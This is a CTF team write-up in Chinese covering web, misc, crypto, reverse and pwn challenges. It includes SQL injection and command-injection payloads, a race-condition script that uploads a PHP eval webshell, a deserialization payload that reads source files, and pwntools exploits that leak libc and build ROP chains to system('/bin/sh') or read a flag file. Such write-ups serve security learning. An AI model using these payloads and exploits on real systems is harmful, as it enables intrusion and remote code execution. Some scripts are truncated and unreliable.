V&N WriteUp
[toc]
WEB
BabySqli
题目给了语句 构造联合查询
1 name=adm'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
GXY{y0u_4re_not_aDmin!}
ping ping ping
1;cat$IFSls
; 让cat执行ls的结果
参考文章http://www.it1352.com/757355.html
babyupload
条件竞争, 要改content-type, 同时利用.htaccess解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import hackhttpfrom multiprocessing.dummy import Pool as ThreadPooldef upload (lists) : hh = hackhttp.hackhttp() raw = """POST / HTTP/1.1 Host: 183.129.189.60:10002 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://183.129.189.60:10002/ Content-Type: multipart/form-data; boundary=---------------------------7446536503559286391302143604 Content-Length: 405 Connection: close Cookie: PHPSESSID=8166b4f0a9c99bc68f8e42f1b0da468b Upgrade-Insecure-Requests: 1 -----------------------------7446536503559286391302143604 Content-Disposition: form-data; name="uploaded"; filename=".htaccess" Content-Type: image/jpeg <FilesMatch "win"> SetHandler application/x-httpd-php </FilesMatch> -----------------------------7446536503559286391302143604 Content-Disposition: form-data; name="submit" ä¸ä¼ -----------------------------7446536503559286391302143604-- """ url = "http://183.129.189.60:10002" code, head, html, redirect, log = hh.http(url, raw=raw) print(str(html)) pool = ThreadPool(10 ) pool.map(upload, range(1000000 )) pool.close() pool.join()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import hackhttpfrom multiprocessing.dummy import Pool as ThreadPooldef upload (lists) : hh = hackhttp.hackhttp() raw = """POST / HTTP/1.1 Host: 183.129.189.60:10002 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://183.129.189.60:10002/ Content-Type: multipart/form-data; boundary=---------------------------15395929361395697859699691703 Content-Length: 392 Connection: close Cookie: PHPSESSID=8166b4f0a9c99bc68f8e42f1b0da468b Upgrade-Insecure-Requests: 1 -----------------------------15395929361395697859699691703 Content-Disposition: form-data; name="uploaded"; filename="shell.win" Content-Type: image/jpeg <script language="pHp">@eval($_POST['a'])</script> -----------------------------15395929361395697859699691703 Content-Disposition: form-data; name="submit" ä¸ä¼ -----------------------------15395929361395697859699691703-- """ url = "http://183.129.189.60:10002" code, head, html, redirect, log = hh.http(url, raw=raw) print(str(html)) pool = ThreadPool(10 ) pool.map(upload, range(1000000 )) pool.close() pool.join()
两个脚本一起开然后去访问就行了
babysqli2
宽字节注入union select where需要双写绕过;flag不在当前表中
1 %dd%27and+updatexml(1,concat(1,(selselectect+passwd+from+user)),1)%23%dd%27and+updatexml(1,concat(1,(selselectect+group_concat(table_name)+from+information_schema.tables+whwhereere+table_schema=database())),1)%23
1 %dd%27and+updatexml(1,concat(1,(selselectect+group_concat(2)+from+(selecselectt+1,2+uniounionn+selecselectt+*+from+f14g)b)),1)%23
用reverse倒过来读最后一个条目好奇怪啊就读出来就这么点
手动把flag补完就行
BabysqliV3.0
登陆口admin password上去upload目录能读源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <form action="" method="post" enctype="multipart/form-data" > ä¸ä¼ æ件 <input type="file" name="file" /> <input type="submit" name="submit" value="ä¸ä¼ " /> </form> <?php error_reporting(0 ); class Uploader {public $Filename;public $cmd;public $token; function __construct () {$sandbox = getcwd()."/uploads/" .md5($_SESSION['user' ])."/" ; $ext = ".txt" ; @mkdir($sandbox, 0777 , true ); if (isset ($_GET['name' ]) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i" , $_GET['name' ])){$this ->Filename = $_GET['name' ];} else {$this ->Filename = $sandbox.$_SESSION['user' ].$ext;} $this ->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';" ;$this ->token = $_SESSION['user' ];} function upload ($file) {global $sandbox;global $ext; if (preg_match("[^a-z0-9]" , $this ->Filename)){$this ->cmd = "die('illegal filename!');" ;} else {if ($file['size' ] > 1024 ){$this ->cmd = "die('you are too big (â²â½`ã)');" ;} else {$this ->cmd = "move_uploaded_file('" .$file['tmp_name' ]."', '" . $this ->Filename . "');" ;} } } function __toString () {global $sandbox;global $ext;return $this ->Filename;} function __destruct () {if ($this ->token != $_SESSION['user' ]){$this ->cmd = "die('check token falied!');" ;} eval ($this ->cmd);} } if (isset ($_FILES['file' ])) {$uploader = new Uploader(); $uploader->upload($_FILES["file" ]); if (@file_get_contents($uploader)){echo "ä¸é¢æ¯ä½ ä¸ä¼ çæ件ï¼<br>" .$uploader."<br>" ;echo file_get_contents($uploader);} } ?>
phar没打出来 一看文件名可控直接写进去个webshell- -问了下出题人说是非预期
后来看了眼可能是因为出题人手贱多在.前面打了个空格-。-然后正则匹配的就是’ .'了 就相当于没写
Do you know robot
1 ?exp=O:10:"FileReader":4:{s:8:"Filename";s:58:"php://filter/read=convert.base64-encode/resource=index.php";s:5:"start";i:0;s:10:"max_length";i:10000;}
get参数置空 post参数里传payload
禁止套娃!
无参RCE;git与网站源码不一样==所以可以用下划线
1 highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
多刷新几次
MISC
佛系青年
附件内的文本文件直接打不开,然后尝试提取压缩包,文本文件就可以打开了。
内容为与佛论禅加密,在线解密得到flag。
gakki
binwalk分解出压缩包,数字爆破得到密码8864,解出flag文本文件,内容为看不懂是什么密码的密码,
通过HxD统计出不同字符出现的次数排序,依次排列得出flag。
flag:GXY{gaki_IsMyw1fe}
附一个魔改百度搜的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 def processLine (line, CharacterCounts) : for character in line: if ord(character) in range(32 ,126 ): CharacterCounts[character] += 1 def createCharacterCounts (CharacterCounts) : for i in range(32 , 126 ): CharacterCounts[chr(i)] = 0 def main () : filename = "123.txt" infile = open(filename, "r" ) CharacterCounts = {} createCharacterCounts(CharacterCounts) for line in infile: processLine(line, CharacterCounts) pairs = list(CharacterCounts.items()) items = [[x,y] for (y,x) in pairs] items.sort(reverse=True ) for i in range(len(items)): print(items[i][1 ],end='' ) infile.close() if __name__ == '__main__' : main()
babync
直接用pwntools了。。折半查找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *p=remote('183.129.189.60' ,'10029' ) numi=340282366879330029263004840 numa=340289366879330029263994840 numv=(numa+numi)/2 while 1 : p.sendline(str(numv)) ret=p.recv() if ret=='too small' : numi=numv print 'small' elif ret=='too big' : numa=numv print 'big' elif ret=='It took too long to break the link!' : print 'slow' break else : print ret numv=(numa+numi)/2 print numv
SXMgdGhpcyBiYXNlPw==
好多后面都有两个等于,base64隐写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def get_base64_diff_value (s1, s2) : base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in xrange(len(s1)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res def solve_stego () : with open('code.txt' , 'rb' ) as f: file_lines = f.readlines() bin_str = '' for line in file_lines: steg_line = line.replace('\n' , '' ) norm_line = line.replace('\n' , '' ).decode('base64' ).encode('base64' ).replace('\n' , '' ) diff = get_base64_diff_value(steg_line, norm_lin pads_num = steg_line.count('=' ) if diff: bin_str += bin(diff)[2 :].zfill(pads_num * 2 ) else : bin_str += '0' * pads_num * 2 res_str = '' for i in xrange(0 , len(bin_str), 8 ): res_str += chr(int(bin_str[i:i+8 ], 2 )) print res_str solve_stego()
https://www.jianshu.com/p/48fe4dd3e5ce
Crypto
CheckIn
dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==该字符串转base64得到
1 v)*L*_F0<}@H0>F49023@FE0
再转ROT47即可得到flag:GXY{Y0u_kNow_much_about_Rot}
Common Modulus Attack
基本和ByteCTF lrlr一样ByteCTF那题是python,这题是Java。Python内置的Random实现是MT19937,连续624个输出就能预测。Java内置的是线性同余生成器,简单的很,连续2个输出就能算出seed,进而预测。seed出来后,思路跟ByteCTF那题一模一样. 贴lrlr的wp:http://www.soreatu.com/ctf/writeups/Writeup for Bytes CTF 2019.html#crypto-lrlr 放进在线网站反编译.class文件,即可看到java代码。先利用old.txt里的前两次输出找到seed:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int main() { long multiplier = 25214903917L ; long addend = 11L ; long mask = 281474976710655 ; // (1 <<48 ) - 1 long v1 = -1029728314 ; long v2 = 1487023297 ; long seed, tmp; for (int i=0 ; i < 65537 ; ++i) { seed = (v1 << 16 ) + i; if (((seed * multiplier + addend) & mask) >> 16 == v2) { printf("seed: %ld\n" , seed); break ; } } tmp = seed; for (int j=0 ; j < 20 ; ++j) { printf("%d\n" , tmp >> 16 ); tmp = (multiplier * tmp + addend) & mask; } return 0 ; }
得到seed:-67484274725178L随机数的利用链:
20次nextInt()
RSA的24组512-bit的p和q
72次的16-byte的AES.key
魔改反汇编的java代码,预测出RSA的p,q和AES.key
// 有一个很坑的地方:Java的setSeed(x)居然并不会把x作为seed,而是先要异或下0x5DEECE66DL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 import java.util.Scanner;import java.nio.file.Paths;import java.security.spec.AlgorithmParameterSpec;import java.security.Key;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.crypto.spec.IvParameterSpec;import java.io.IOException;import java.io.PrintWriter;import java.math.BigInteger;import java.util.ArrayList;import java.util.Random;public class CommonModulusAttack { private Random random; private ArrayList<BigInteger> states; private String seed; private int statespoint; private int stateselse; public CommonModulusAttack () { this .random = new Random(); final long random_seed = -67484274725178L ; this .random.setSeed(random_seed ^ 0x5DEECE66DL ); } public void oldtest () { try { final PrintWriter printWriter = new PrintWriter("old.txt" , "UTF-8" ); for (int i = 0 ; i < 19 ; ++i) { printWriter.println(this .random.nextInt()); } printWriter.close(); } catch (IOException ex) { ex.printStackTrace(); } } public void gen_states () { try { final PrintWriter printWriter = new PrintWriter("pqs" , "UTF-8" ); for (int i = 0 ; i < 24 ; ++i) { final BigInteger p = BigInteger.probablePrime(512 , this .random); final BigInteger q = BigInteger.probablePrime(512 , this .random); printWriter.println(p); printWriter.println(q); } printWriter.close(); } catch (IOException ex) { ex.printStackTrace(); } } public void keys () { try { final PrintWriter printWriter = new PrintWriter("keys.txt" , "UTF-8" ); for (int i=0 ; i < 72 ; ++i) { final byte [] array = new byte [16 ]; this .random.nextBytes(array); printWriter.println(bytesToHex(array)); } printWriter.close(); } catch (IOException ex) { ex.printStackTrace(); } } private static final char [] HEX_ARRAY = "0123456789ABCDEF" .toCharArray(); public static String bytesToHex (byte [] bytes) { char [] hexChars = new char [bytes.length * 2 ]; for (int j = 0 ; j < bytes.length; j++) { int v = bytes[j] & 0xFF ; hexChars[j * 2 ] = HEX_ARRAY[v >>> 4 ]; hexChars[j * 2 + 1 ] = HEX_ARRAY[v & 0x0F ]; } return new String(hexChars); } public static void main (final String[] array) { final CommonModulusAttack commonModulusAttack = new CommonModulusAttack(); commonModulusAttack.oldtest(); commonModulusAttack.gen_states(); commonModulusAttack.keys(); } }
找到product里面的第一组AES密文c1。
c1的生成链:
pow(init_state, 17, n1) -> state1 -> AES(state1, key25) -> new_state1 -> AES(new_state1, key49) -> c1
那么,只需用预测的key25和key49,连续两次AES.CBC解密,再由第一组RSA的p,q解密,即可得到init_seed // 甚至都不需要共模攻击,属实迷惑行为
最后需要逆generate_init_state(),能看得出来这里是一个有限域GF(2^256)上的乘法,但还是不能理解为什么迭代下自己就可以复原。贴上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from Crypto.Util.number import long_to_bytes, inversefrom Crypto.Cipher import AEScipher1 = bytes.fromhex("22004ab9b42734a1ebd9ca08fd3766f78ad2f865e6d8e490f9ef388a1002acbda09d2d081241794e1d7ca3dc67e04b6e4e06eb8a8104eed8b26f5b03dfeaf0144aac16a043cea741079bc6d1798836ad902aec6b012e138153902f51a4227d601bc11647bd2855e67fc5a08d3b420e6a62fdca68e8cfe40996fd91fe355bad08" ) key49 = bytes.fromhex("E73CC771B5A0B045DCB8BCC9D9551C22" ) key25 = bytes.fromhex("68DDBDAEFD255770A471A2800F81BBD1" ) aes1 = AES.new(key49, AES.MODE_CBC, b"\x00" *16 ) aes0 = AES.new(key25, AES.MODE_CBC, b"\x00" *16 ) c = int( aes0.decrypt(aes1.decrypt(cipher1)).hex(), 16 ) p = 12825065025878710759162964349802087782860107496403716766274740786571032106924134308574766701708616457941860761080326431144082954680761914086113148564919457 q = 7704827937656035420834825799339182896303078847917781348941958931525277721877010673289389897182492405293548821079884707899741616926782311832681879311806253 e = 17 m = pow(c, inverse(e, (p-1 )*(q-1 )), p*q) def mul (x) : a = 0 for i in bin(x)[2 :]: a = a << 1 if (int(i)): a = a ^ x if a >> 256 : a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223 return a for i in range(100000 ): m = mul(m) if b'flag' in long_to_bytes(m): print(long_to_bytes(m), i) break
flag{86824087489918371343860652}
Reverse
luck_guy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> int main () { char f2[] = "icug`of " ; char v1[8 ]; for (int j = 0 ; j <= 7 ; ++j) { if (j % 2 == 1 ) v1[j] = f2[j] - 2 ; else v1[j] = f2[j] - 1 ; f2[j] = v1[j]; } printf ("%s" , f2); }
simplecpp
关键判断条件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 v20 = v15[2] & ~v15[0] v20 = 1176889593874 v24 = v15[2] & ~v15[0] | v15[1] & v15[0] | v15[2] & ~v15[1] | v15[0] & ~v15[1] v24 = 4483974544037412639 v27 = v15[2] & ~v15[1] & v15[0] | v15[2] & (v15[1] & v15[0] | v15[1] & ~v15[0] | ~(v15[1] | v15[0])) v27 = 577031497978884115 (v24 ^ v15[3]) = 4483974543195470111 (v15[2] & ~v15[0] | v15[1] & v15[0] | v15[1] & v15[2]) = (~v15[0] & v15[2] | 0xC00020130082C0C)
将输入的DXY{}中间的字符处理 :与0异或,第24位与0F异或每8位凑一个 int64 依次放入v15[0]-[3]
按条件依次求得 v15[0]-[3]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from z3 import *x,y,z,q=BitVecs('x y z w' ,64 ) s=Solver() s.add((~x)&z==1176889593874 ) s.add(((z&~x)|(x&y)|(z&~y)|(x&~y))==4483974544037412639 ) s.add(((z&~x)|(x&y)|(z&(~y))|(x&(~y)))^w==4483974543195470111 ) s.add(((z&~y)&x|z&((x&y)|y&~x|~(y|x)))==577031497978884115 ) print s.model()print s.check()sat [w = 842073600 , y = 3906943046058528520 , x = 4483973367147818765 , z = 577031497978884115 ]
“i_will_check_is_debug_or_not”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> int main () {char a[29 ] = "i_will_check_is_debug_or_not" ;int b[30 ] = { 0x3e ,0x3a ,0x46 ,0x05 ,0x33 ,0x28 ,0x6f ,0x0d ,0x0 ,0x0 ,0x0 ,0x0 ,0x0 ,0x0 ,0x0 ,0x0 ,0x08 ,0x2 ,0x07 ,0x17 ,0x15 ,0x3e ,0x30 ,0x13 ,0x32 ,0x31 ,0x06 ,0x00 ,0x00 };for (int i = 0 ;i < 27 ; i++) {printf ("%c" , a[i % 27 ] ^ b[i]);} return 0 ;}
给了二部分e!P0or_a
直接改一下
GXY{We1l_D0ne!P0or_algebra_am_i}
minecraft
进行了爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <iostream> #include <string> #include <boost/functional/hash.hpp> std ::string set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ;size_t arr[] = {0x6C43B2A7 ,0x7954FD91 ,0xA3E9532 ,0xB87B5156 ,0xDA847742 ,0x2395E7F3 ,0xA679D954 ,0xE1FAAFF7 }; int main () {boost::hash<std ::string > string_hash; for (int i1 = 0 ; i1 < 64 ; i1++)for (int i2 = 0 ; i2 < 64 ; i2++)for (int i3 = 0 ; i3 < 64 ; i3++)for (int i4 = 0 ; i4 < 64 ; i4++) {std ::string s;s += set [i1]; s += set [i2]; s += set [i3]; s += set [i4]; auto x = string_hash(s) & 0xffffffff ;for (int idx = 0 ; idx < 8 ; idx++) {if (x == arr[idx]) {std ::cout << s << " :" << idx << " " << std ::hex << arr[idx] << std ::endl ;} } } return 0 ;}
Pwn
Terrible httpd
实现了一个简单的httpd,根据请求的文件名读取文件并返回,有index.html
本地测试发现读文件没有做限制,可以直接读取flag
fantasy
1 2 3 4 5 6 from pwn import *r = remote('183.129.189.60' ,10025 ) payload = 'a' *0x38 +p64(0x400735 ) r.sendline(payload) r.interactive()
my canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *import syscontext.log_level='debug' my_cannary=ELF("./my_cannary" ) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) if args['REMOTE' ]: sh = remote(sys.argv[1 ], sys.argv[2 ]) else : sh = process("./my_cannary" ) payload='This is ' +p64(0 )*0x5 +p64(0x400A8B )+'This is ' +p64(0xdeadbeef )+p64(0x400a43 )+p64(my_cannary.got['puts' ])+p64(my_cannary.plt['puts' ])+p64(0x400998 ) sh.recvuntil("Now let's begin" ) sh.sendline(payload) sh.recvuntil('\x0a' ) libc_base=u64(sh.recvuntil('\x0a' ).strip('\x0a' ).ljust(8 ,'\x00' ))-libc.symbols['puts' ] binsh_addr=libc_base+libc.search('/bin/sh' ).next() payload='This is ' +p64(0 )*0x5 +p64(0x400A8B )+'This is ' +p64(0xdeadbeef )+p64(0x400a43 )+p64(binsh_addr)+p64(my_cannary.plt['system' ])+p64(0x400998 ) sh.recvuntil("Now let's begin" ) sh.sendline(payload) sh.interactive() print(sh.recv())
blind note
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *import syscontext.log_level='debug' context.arch='amd64' libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) def creat (value) : sh.recvuntil('>' ) sh.sendline('1' ) sh.recvuntil('please enter your note number' ) sh.sendline(str(value)) def show (index) : sh.recvuntil('>' ) sh.sendline('2' ) sh.recvuntil('which one ?' ) sh.sendline(str(index)) def delete () : sh.recvuntil('>' ) sh.sendline('3' ) sh = remote('183.129.189.60' , 10028 ) sh.recvuntil('>' ) sh.send('66' ) sh.recvuntil('This is my id:' ) puts_addr =u64(sh.recvuntil('\x0a' ).strip('\x0a' ).ljust(8 ,'\x00' )) libc_addr =puts_addr-libc.symbols['puts' ] system_addr=libc_addr+libc.symbols['system' ] binsh_addr =libc_addr+libc.search('/bin/sh' ).next() rop_addr =libc_addr+libc.search(asm('pop rdi;ret' )).next() log.info('pop rdi address is ' +str(hex(rop_addr))) for i in range(31 ): creat('-' ) show(26 ) sh.recvuntil('note num is : ' ) canarypart1=int(sh.recvuntil('\n' ).strip('\n' )) show(27 ) sh.recvuntil('note num is : ' ) canarypart2=int(sh.recvuntil('\n' ).strip('\n' )) show(30 ) sh.recvuntil('note num is : ' ) main_addr=int(sh.recvuntil('\n' ).strip('\n' )) log.info('canary part one is ' +str(hex(canarypart1))) log.info('canary part two is ' +str(hex(canarypart2))) log.info('main addr is ' +str(hex(main_addr))) canary_addr=canarypart2*0x100000000 +canarypart1 log.info('canary is ' +str(hex(canary_addr))) for i in range(31 ): delete() raw_input() for i in range(26 ): creat('-' ) creat(canarypart1) creat(canarypart2) creat(canarypart1) creat(canarypart2) creat(rop_addr % 0x100000000 ) creat(rop_addr / 0x100000000 ) creat(binsh_addr % 0x100000000 ) creat(binsh_addr / 0x100000000 ) creat(system_addr % 0x100000000 ) creat(system_addr / 0x100000000 ) sh.interactive() print(sh.recv()) print(sh.recv()) print(sh.recv())
seccomp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 from pwn import *import syscontext.log_level = 'info' path = './seccomp' port = 10027 host = '183.129.189.60' libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) nremote = False if len(sys.argv) > 2 : nremote = True if not nremote: p = process(path) else : p = remote(host,port) def ga () : if type(p) == pwnlib.tubes.process.process: gdb.attach(p) else : info('remote' ) def wait (idx) : p.sendlineafter('delete' ,str(idx)) def add (idx,content) : wait(1 ) p.sendlineafter('index' ,str(idx)) p.sendafter('code' ,content) def free (idx) : wait(3 ) p.sendlineafter('index' ,str(idx)) def bomb (idx,content) : wait(2 ) p.sendlineafter('index' ,str(idx)) p.sendlineafter('size' ,str(len(content))) p.sendafter('code' ,content) c = p.recvuntil('1' ) if 'y' in c: return True else : return False def show (idx,n) : rel = '' for i in range(n): print i for j in range(256 ): if bomb(idx,rel+chr(j)): rel += chr(j) break return rel def start () : global p p.close() if nremote: p = remote(host,port) else : p = process(path) def exploit () : flag = '' add(0 ,'aaaa' ) add(1 ,'aaaa' ) free(0 ) free(1 ) add(0 ,'a' ) add(1 ,'aa' ) heap = u64(show(0 ,6 )+'\x00\x00' ) - 0x61 info(hex(heap)) add(2 ,'adsff' ) add(3 ,'sdfsdfsd' ) add(4 ,'a' ) ppp = 0x0000000000400c6e pp = 0x0000000000400c71 p1 = 0x0000000000400c73 pp1 = 0x0000000000400c70 prbp = 0x0000000000400800 add(5 ,p64(0x0000000000400800 )+p64(heap+0x100 )+p64(ppp)+p64(0 )) add(6 ,p64(0x0000000000400c73 )+p64(0x602020 )+p64(0x04006E0 )+p64(0x0000000000400c70 )) add(7 ,p64(0x400C6B )+p64(1 )+p64(0x602038 )+p64(0x200 )) add(8 ,p64(0x400C70 )+p64(heap+0x1b0 )+p64(0 )+p64(0x400C50 )) p.sendafter('delete' ,str(1 ).ljust(16 ,'\x00' )+p64(heap+0x100 -8 )) p.sendline('1' ) p.sendline('4' ) p.recvuntil('seccomp\n' ) puts = u64(p.recvn(6 )+'\x00\x00' ) info(hex(puts)) libc.address = puts-0x6f690 info(hex(libc.address)) payload = p64(0 )*7 payload += p64(libc.address+0x00000000000202e8 ) payload += p64(0 ) payload += p64(libc.address+0x1b92 ) payload += p64(0 ) payload += p64(libc.address+0x33544 ) payload += p64(2 ) payload += p64(0x0000000000400c73 ) payload += p64(heap+0x2b0 ) payload += p64(libc.address+0xf725e ) payload += p64(libc.address+0x1b92 ) payload += p64(0x200 ) payload += p64(0x0000000000400c73 ) payload += p64(3 ) payload += p64(libc.address+0x00000000000202e8 ) payload += p64(heap+0x300 ) payload += p64(libc.address+0x33544 ) payload += p64(0 ) payload += p64(libc.address+0xf725e ) payload += p64(0x0000000000400c73 ) payload += p64(1 ) payload += p64(libc.address+0x00000000000202e8 ) payload += p64(heap+0x300 ) payload += p64(libc.address+0x33544 ) payload += p64(1 ) payload += p64(libc.address+0xf725e ) payload = payload.ljust(0x100 ,'\x00' )+'./flag\x00' p.send(payload) p.interactive() p.close() return flag if __name__ == "__main__" : exploit()